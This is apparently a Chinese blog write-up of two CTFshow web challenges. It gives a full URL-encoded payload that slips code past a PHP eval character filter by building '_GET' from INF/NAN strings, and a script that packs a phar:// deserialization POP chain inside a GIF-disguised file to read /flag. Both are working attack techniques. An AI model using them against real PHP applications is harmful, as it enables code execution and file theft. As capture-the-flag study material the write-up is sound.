CTFshow吃瓜杯的两道web

Shellme_Revenge

在BsidesCTF2021中出过类似的题,利用的是一些数学上的trick

首先是注意到cookie中的hint,所以在请求中加上?looklook=1即可看到源码:

<?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {

    phpinfo();
}
?>

可用的字符有:大写C0到3[]$_();

首先是如何得到字符:

PHP认为结果是无限大时,给出的结果是:INF(Infinite)
如果一个数超出 Infinite,那就是:   NaN(not-a-number)
var_dump(C/C) = float(NAN)

var_dump(1/C) = float(INF)

只要是两个字母相除都会被认为是NAN,也就是0/0 = NAN
那么1/C相当于 1/0 = INF

此外,得到NAN还可以通过399个9来得到,但不适合这题了

要获得单字符还得拼接一个字符上去,不然得到是NULL

$_ = C/C.C
var_dump($_[0])		# 得到 N

_GET的构造如下:

$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;
var_dump($_)		# _GET

所以最后$_GET[0]($_GET[1])的构造如下

$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;$$_[0]($$_[1]);

需要进行URL编码,并用highlight_file读文件

http://0e53fed8-692c-4850-84e4-fad73918286c.challenge.ctf.show:8080/?looklook=1&0=highlight_file&1=/flag.txt


ctf_show=%24_%3DC%3B%2B%2B%24_%3B%2B%2B%24_%3B%24C%3D%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__%3D_.%24_.%24C%3B%24C%3DC%2FC.C%3B%24_%3D%24C%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24__.%24_%3B%24%24_%5B0%5D(%24%24_%5B1%5D)%3B

ATTup

本自己蠢哭的一题。。首先是找源码找了半天,因为对zip文件一类的上传不大熟,猜的是zip://流的考点,然后上网看了点资料,结果老半天都没去抓包看响应内容,被自己蠢哭。。

在查询文件时的相应包中可以填入../find.php或者就是那些存在的文件就能观测下面的源码了

class View {
    public $fn;
    public function __invoke(){
        $text = base64_encode(file_get_contents($this->fn));
        echo "<script>alert('".$text."');self.location=document.referrer;</script>";
    }
}
class Fun{
    public $fun = ":)";
    public function __toString(){
        $fuc = $this->fun;
        $fuc();
        return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
    }
    public function __destruct()
    {
        echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
    }
}
$filename = $_POST["file"];
$stat = @stat($filename);

那么看到这些魔术方法基本就确定是利用phar://对压缩的内容反序列化了,当然stat这个函数确实是能够支持phar://协议了

重温一下利用phar://协议的条件:

1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4: / phar 这些字符没有给过滤

最后构造一下POP链即可,结果因为反序列化基础太差,在这儿都想了好一会,回去一定要恶补反序列化5555

此外有个要注意的就是$phar->setStub这行的内容不要写<?php这字眼,否则会提示内容非法

stub的基本结构:<?php __HALT_COMPILER();,stub必须以__HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件。

运行下面这php文件生成test.phar,再改后缀上传,然后phar://test.zip查询即可

<?php

class Fun{
    public $fun ;

}
class View {
  public $fn='/flag';
  
}

$d=new Fun();
$v = new View();
$d->fun = $v;
$new = new Fun();
$new->fun = $d;

$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub
$phar->setMetadata($new); //触发的开始是C1e4r(),所以传$c   将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();    //签名自动计算

剩下一道魔女真不会,一脸懵

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值